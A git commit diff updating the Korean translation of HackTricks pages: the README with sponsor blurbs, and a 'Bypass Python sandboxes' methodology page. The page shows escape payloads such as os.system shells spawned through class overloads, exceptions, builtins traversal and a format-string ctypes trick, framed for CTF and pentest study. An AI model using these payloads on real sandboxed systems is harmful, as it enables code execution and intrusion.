mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/python/byp
This commit is contained in:
parent
77119a19de
commit
0344fc8a2f
31 changed files with 562 additions and 563 deletions
20
README.md
20
README.md
|
@ -32,7 +32,7 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
|
|||
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 중요한 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
|
||||
[**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 중요한 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 사명**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -73,7 +73,7 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
|
|||
* **실시간 해킹 뉴스:** 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.
|
||||
* **최신 발표:** 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
|
||||
|
||||
**오늘 저희와 함께** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 최고의 해커들과 협력하세요!
|
||||
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 가입하고 최고의 해커들과 협력하세요!
|
||||
|
||||
***
|
||||
|
||||
|
@ -81,7 +81,7 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
@ -98,8 +98,8 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
|
|||
|
||||
**SerpApi**는 **검색 엔진 결과에 접근할 수 있는 빠르고 쉬운 실시간 API**를 제공합니다. 그들은 검색 엔진을 스크랩하고, 프록시를 처리하며, 캡차를 해결하고, 모든 풍부한 구조화된 데이터를 파싱합니다.
|
||||
|
||||
SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 접근할 수 있습니다.\
|
||||
다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다.
|
||||
SerpApi의 요금제 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 접근할 수 있습니다.\
|
||||
다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi의 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다.
|
||||
|
||||
현재 SerpApi 고객에는 **Apple, Shopify 및 GrubHub**가 포함됩니다.\
|
||||
자세한 정보는 그들의 [**블로그**](https://serpapi.com/blog/)를 확인하거나 [**플레이그라운드**](https://serpapi.com/playground)에서 예제를 시도해 보세요.\
|
||||
|
@ -111,11 +111,11 @@ SerpApi의 플랜 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의 기업을 최신 사이버 보안 위협으로부터 보호**하는 데 도움을 주며 **공격적 보안 서비스**를 **현대적인** 접근 방식으로 제공합니다.
|
||||
[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의** 기업을 최신 사이버 보안 위협으로부터 **보호**하는 데 도움을 주며 **공격 보안 서비스**를 **현대적인** 접근 방식으로 제공합니다.
|
||||
|
||||
WebSec는 **올인원 보안 회사**로, 펜테스팅, **보안** 감사, 인식 교육, 피싱 캠페인, 코드 리뷰, 익스플로잇 개발, 보안 전문가 아웃소싱 등 모든 것을 수행합니다.
|
||||
|
||||
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것**입니다. 그들은 **최고 품질의 결과를 보장**하며, 웹사이트에 "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**"라고 명시되어 있습니다. 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요!
|
||||
WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다.** 그들은 **최고 품질의 결과를 보장**한다고 웹사이트에 명시하고 있습니다. "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**" 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요!
|
||||
|
||||
위의 내용 외에도 WebSec는 **HackTricks의 헌신적인 후원자**이기도 합니다.
|
||||
|
||||
|
@ -123,7 +123,7 @@ WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의
|
|||
|
||||
## License & Disclaimer
|
||||
|
||||
그들을 확인하세요:
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
||||
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
||||
|
@ -142,8 +142,8 @@ GCP 해킹 배우기 및 연습하기: <img src=".gitbook/assets/grte.png" alt="
|
|||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,33 @@
|
|||
# Bypass Python sandboxes
|
||||
# Python 샌드박스 우회
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
|
||||
이것은 파이썬 샌드박스 보호를 우회하고 임의의 명령을 실행하는 몇 가지 트릭입니다.
|
||||
|
||||
## 명령 실행 라이브러리
|
||||
|
||||
가장 먼저 알아야 할 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 이러한 라이브러리 중 하나를 가져올 수 있는지입니다:
|
||||
가장 먼저 알아야 할 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 다음 라이브러리 중 하나를 가져올 수 있는지입니다:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -62,7 +60,7 @@ open('/var/www/html/input', 'w').write('123')
|
|||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
기억하세요, _**open**_ 및 _**read**_ 함수는 python sandbox 내에서 **파일을 읽고** **실행할 수 있는 코드**를 **작성하는 데** 유용할 수 있습니다.
|
||||
기억하세요, _**open**_ 및 _**read**_ 함수는 python sandbox 내에서 **파일을 읽고** **우회**하기 위해 **실행할 수 있는 코드**를 **작성하는 데** 유용할 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Python2 input()** 함수는 프로그램이 충돌하기 전에 python 코드를 실행할 수 있게 해줍니다.
|
||||
|
@ -162,7 +160,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
```
|
||||
## 인코딩을 통한 보호 우회 (UTF-7)
|
||||
|
||||
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서는 UFT-7을 사용하여 겉보기에는 샌드박스 안에서 임의의 파이썬 코드를 로드하고 실행합니다:
|
||||
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서는 겉보기에는 샌드박스 안에서 임의의 파이썬 코드를 로드하고 실행하기 위해 UTF-7이 사용됩니다:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -203,7 +201,7 @@ class _:pass
|
|||
```
|
||||
### RCE 객체 생성 및 오버로드
|
||||
|
||||
당신이 **클래스를 선언**하고 그 클래스의 **객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거될 수 있는** **다양한 메서드**를 **작성/오버라이드**할 수 있습니다.
|
||||
당신이 **클래스를 선언**하고 **그 클래스의 객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거될 수 있는** **다양한 메서드**를 **작성/오버라이드**할 수 있습니다.
|
||||
|
||||
#### 사용자 정의 클래스를 통한 RCE
|
||||
|
||||
|
@ -276,7 +274,7 @@ Sub['import os; os.system("sh")']
|
|||
```
|
||||
#### 예외로 객체 생성하기
|
||||
|
||||
**예외가 발생할 때** **Exception**의 객체가 **생성**되며, 직접 생성자를 호출할 필요가 없습니다 ( [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) 의 트릭):
|
||||
**예외가 발생할 때** **Exception**의 객체가 **생성됩니다**. 이를 위해 생성자를 직접 호출할 필요가 없습니다 ( [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) 의 트릭):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
|
@ -329,8 +327,8 @@ pass
|
|||
```
|
||||
## Builtins
|
||||
|
||||
* [**파이썬2의 내장 함수**](https://docs.python.org/2/library/functions.html)
|
||||
* [**파이썬3의 내장 함수**](https://docs.python.org/3/library/functions.html)
|
||||
* [**python2의 내장 함수**](https://docs.python.org/2/library/functions.html)
|
||||
* [**python3의 내장 함수**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
**`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 임포트할 수 있습니다 (마지막 섹션에서 보여준 다른 문자열 표현도 사용할 수 있습니다):
|
||||
```python
|
||||
|
@ -384,7 +382,7 @@ get_flag.__globals__['__builtins__']
|
|||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**를 찾아 **builtins**을 찾습니다.
|
||||
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**에서 **builtins**을 찾을 수 있습니다.
|
||||
|
||||
#### Python2 및 Python3
|
||||
```python
|
||||
|
@ -434,7 +432,7 @@ class_obj.__init__.__globals__
|
|||
|
||||
#### 우회로 서브클래스에 접근하기
|
||||
|
||||
이 기술의 가장 민감한 부분 중 하나는 **기본 서브클래스에 접근할 수 있는** 것입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용하여 수행되었지만 **다른 가능한 방법**도 있습니다:
|
||||
이 기술의 가장 민감한 부분 중 하나는 **기본 서브클래스에 접근할 수 있는** 것입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용하여 이를 수행했지만 **다른 가능한 방법**도 있습니다:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
|
@ -563,7 +561,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
|||
## 내장 함수, 전역 변수의 재귀적 검색...
|
||||
|
||||
{% hint style="warning" %}
|
||||
이것은 정말 **멋집니다**. 만약 **globals, builtins, open 또는 그와 유사한 객체를 찾고 있다면** 이 스크립트를 사용하여 **그 객체를 찾을 수 있는 위치를 재귀적으로 찾아보세요.**
|
||||
이것은 정말 **멋집니다**. 만약 당신이 **globals, builtins, open 또는 그와 유사한 객체를 찾고 있다면** 이 스크립트를 사용하여 **그 객체를 찾을 수 있는 장소를 재귀적으로 찾아보세요.**
|
||||
{% endhint %}
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
@ -680,15 +678,15 @@ print(SEARCH_FOR)
|
|||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
You can check the output of this script on this page:
|
||||
이 스크립트의 출력을 이 페이지에서 확인할 수 있습니다:
|
||||
|
||||
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
|
||||
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Python Format String
|
||||
## Python 포맷 문자열
|
||||
|
||||
만약 **형식화**될 **문자열**을 파이썬에 **전송**하면, `{}`를 사용하여 **파이썬 내부 정보**에 접근할 수 있습니다. 예를 들어, 이전 예제를 사용하여 globals 또는 builtins에 접근할 수 있습니다.
|
||||
**형식화**될 **문자열**을 python에 **전송**하면, `{}`를 사용하여 **python 내부 정보**에 접근할 수 있습니다. 예를 들어, 이전 예제를 사용하여 globals 또는 builtins에 접근할 수 있습니다.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
|
@ -756,16 +754,16 @@ str(x) # Out: clueless
|
|||
```
|
||||
### 형식에서 RCE로 라이브러리 로딩
|
||||
|
||||
[**이 글의 TypeMonkey 챌린지**](https://corgi.rip/posts/buckeye-writeups/)에 따르면, 파이썬의 형식 문자열 취약점을 악용하여 디스크에서 임의의 라이브러리를 로드하는 것이 가능합니다.
|
||||
[**이 글에서의 TypeMonkey 챌린지**](https://corgi.rip/posts/buckeye-writeups/)에 따르면, 파이썬의 형식 문자열 취약점을 악용하여 디스크에서 임의의 라이브러리를 로드하는 것이 가능합니다.
|
||||
|
||||
상기할 점은, 파이썬에서 어떤 작업이 수행될 때마다 어떤 함수가 실행된다는 것입니다. 예를 들어 `2*3`은 **`(2).mul(3)`**을 실행하거나 **`{'a':'b'}['a']`**는 **`{'a':'b'}.__getitem__('a')`**이 됩니다.
|
||||
|
||||
이와 유사한 내용은 [**호출 없이 파이썬 실행**](./#python-execution-without-calls) 섹션에서 더 확인할 수 있습니다.
|
||||
이와 유사한 내용은 [**호출 없이 파이썬 실행**](./#python-execution-without-calls) 섹션에서 확인할 수 있습니다.
|
||||
|
||||
파이썬의 형식 문자열 취약점은 함수를 실행할 수 없으므로 (괄호를 사용할 수 없기 때문에), `'{0.system("/bin/sh")}'.format(os)`와 같은 방식으로 RCE를 얻는 것은 불가능합니다.\
|
||||
파이썬 형식 문자열 취약점은 함수를 실행할 수 없으므로 (괄호를 사용할 수 없기 때문에), `'{0.system("/bin/sh")}'.format(os)`와 같은 방식으로 RCE를 얻는 것은 불가능합니다.\
|
||||
그러나 `[]`를 사용할 수 있습니다. 따라서, 일반적인 파이썬 라이브러리에 임의의 코드를 실행하는 **`__getitem__`** 또는 **`__getattr__`** 메서드가 있다면, 이를 악용하여 RCE를 얻을 수 있습니다.
|
||||
|
||||
파이썬에서 그런 가젯을 찾기 위해, 이 글에서는 [**Github 검색 쿼리**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)를 제안합니다. 여기서 그는 이 [하나](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463)를 발견했습니다:
|
||||
파이썬에서 그런 가젯을 찾기 위해, 글에서는 이 [**Github 검색 쿼리**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)를 제안합니다. 여기서 그는 이 [하나](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463)를 발견했습니다:
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
|
@ -799,9 +797,9 @@ The challenge actually abuses another vulnerability in the server that allows to
|
|||
If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
In some CTFs you could be provided with the name of a **custom function where the flag** resides and you need to see the **internals** of the **function** to extract it.
|
||||
일부 CTF에서는 **플래그**가 있는 **사용자 정의 함수의 이름**이 제공될 수 있으며, 이를 추출하기 위해 **함수**의 **내부**를 살펴봐야 합니다.
|
||||
|
||||
이것은 검사할 함수입니다:
|
||||
This is the function to inspect:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -821,7 +819,7 @@ dir(get_flag) #Get info tof the function
|
|||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` 및 `func_globals`(동일) 전역 환경을 얻습니다. 예제에서는 일부 가져온 모듈, 일부 전역 변수 및 선언된 내용이 표시됩니다:
|
||||
`__globals__` 및 `func_globals`(동일) 전역 환경을 얻습니다. 예제에서는 몇 가지 가져온 모듈, 일부 전역 변수 및 선언된 내용이 표시됩니다:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
|
@ -834,7 +832,7 @@ CustomClassObject.__class__.__init__.__globals__
|
|||
|
||||
### **함수 코드 접근하기**
|
||||
|
||||
**`__code__`** 및 `func_code`: 이 **속성**에 **접근**하여 함수의 **코드 객체**를 **얻을** 수 있습니다.
|
||||
**`__code__`** 및 `func_code`: 이 **속성**에 **접근**하여 함수의 **코드 객체**를 **얻을 수** 있습니다.
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
|
@ -848,7 +846,7 @@ compile("print(5)", "", "single")
|
|||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
### 코드 정보 가져오기
|
||||
### 코드 정보 얻기
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
|
@ -922,7 +920,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
**파이썬 샌드박스에서 `dis`를 가져올 수 없는 경우** 함수의 **바이트코드** (`get_flag.func_code.co_code`)를 얻고 **로컬에서 분해**할 수 있습니다. 로드되는 변수의 내용(`LOAD_CONST`)은 볼 수 없지만, `LOAD_CONST`가 로드되는 변수의 오프셋도 알려주기 때문에 (`get_flag.func_code.co_consts`)로부터 추측할 수 있습니다.
|
||||
**파이썬 샌드박스에서 `dis`를 가져올 수 없는 경우** 함수의 **바이트코드** (`get_flag.func_code.co_code`)를 얻고 **로컬에서 분해**할 수 있습니다. 로드되는 변수의 내용(`LOAD_CONST`)은 볼 수 없지만, `LOAD_CONST`가 로드되는 변수의 오프셋도 알려주기 때문에 (`get_flag.func_code.co_consts`)를 통해 추측할 수 있습니다.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -944,10 +942,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
## Compiling Python
|
||||
## Python 컴파일
|
||||
|
||||
이제, 어떻게든 **실행할 수 없는 함수에 대한 정보를 덤프할 수 있다고 상상해 보십시오**. 하지만 **실행해야** 합니다.\
|
||||
다음 예제와 같이, 그 함수의 **코드 객체에 접근할 수 있지만**, disassemble을 읽는 것만으로는 **플래그를 계산하는 방법을 알 수 없습니다** (_더 복잡한 `calc_flag` 함수라고 상상해 보십시오_)
|
||||
다음 예제와 같이, 해당 함수의 **코드 객체에 접근할 수 있지만**, disassemble을 읽는 것만으로는 **플래그를 계산하는 방법을 알 수 없습니다** (_더 복잡한 `calc_flag` 함수라고 상상해 보십시오_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -1007,7 +1005,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Bypass Defenses
|
||||
|
||||
이 포스트의 시작 부분에 있는 이전 예제에서 **`compile` 함수**를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이는 **전체 스크립트**를 루프와 함께 **한 줄**로 실행할 수 있기 때문에 흥미롭습니다 (그리고 **`exec`**를 사용하여 동일한 작업을 수행할 수 있습니다).\
|
||||
이 게시물의 시작 부분에 있는 이전 예제에서 **`compile` 함수**를 사용하여 **어떤 파이썬 코드든 실행하는 방법**을 볼 수 있습니다. 이는 **전체 스크립트**를 루프와 함께 **한 줄**로 실행할 수 있기 때문에 흥미롭습니다 (그리고 **`exec`**를 사용하여 동일한 작업을 수행할 수 있습니다).\
|
||||
어쨌든, 때때로 **로컬 머신**에서 **컴파일된 객체**를 **생성**하고 **CTF 머신**에서 실행하는 것이 유용할 수 있습니다 (예를 들어 CTF에서 `compiled` 함수가 없기 때문에).
|
||||
|
||||
예를 들어, _./poc.py_를 읽는 함수를 수동으로 컴파일하고 실행해 보겠습니다:
|
||||
|
@ -1037,7 +1035,7 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
`eval` 또는 `exec`에 접근할 수 없다면 **적절한 함수**를 생성할 수 있지만, 이를 직접 호출하면 일반적으로 다음과 같은 오류가 발생합니다: _제한된 모드에서 생성자에 접근할 수 없음_. 따라서 이 함수를 호출하기 위해서는 **제한된 환경이 아닌 함수가 필요합니다.**
|
||||
`eval` 또는 `exec`에 접근할 수 없는 경우 **적절한 함수를** 생성할 수 있지만, 이를 직접 호출하면 일반적으로 다음과 같은 오류가 발생합니다: _제한된 모드에서 생성자에 접근할 수 없습니다_. 따라서 이 함수를 호출하기 위해 **제한된 환경에 있지 않은 함수가 필요합니다.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1047,7 +1045,7 @@ f(42)
|
|||
```
|
||||
## 컴파일된 파이썬 디컴파일하기
|
||||
|
||||
[**https://www.decompiler.com/**](https://www.decompiler.com)와 같은 도구를 사용하면 주어진 컴파일된 파이썬 코드를 **디컴파일**할 수 있습니다.
|
||||
[**https://www.decompiler.com/**](https://www.decompiler.com)와 같은 도구를 사용하여 주어진 컴파일된 파이썬 코드를 **디컴파일**할 수 있습니다.
|
||||
|
||||
**이 튜토리얼을 확인하세요**:
|
||||
|
||||
|
@ -1060,7 +1058,7 @@ f(42)
|
|||
### Assert
|
||||
|
||||
`-O` 매개변수로 최적화된 상태에서 실행된 파이썬은 assert 문과 **debug** 값에 따라 조건부인 코드를 제거합니다.\
|
||||
따라서, 다음과 같은 체크들:
|
||||
따라서, 다음과 같은 체크들
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
|
@ -1082,9 +1080,9 @@ will be bypassed
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
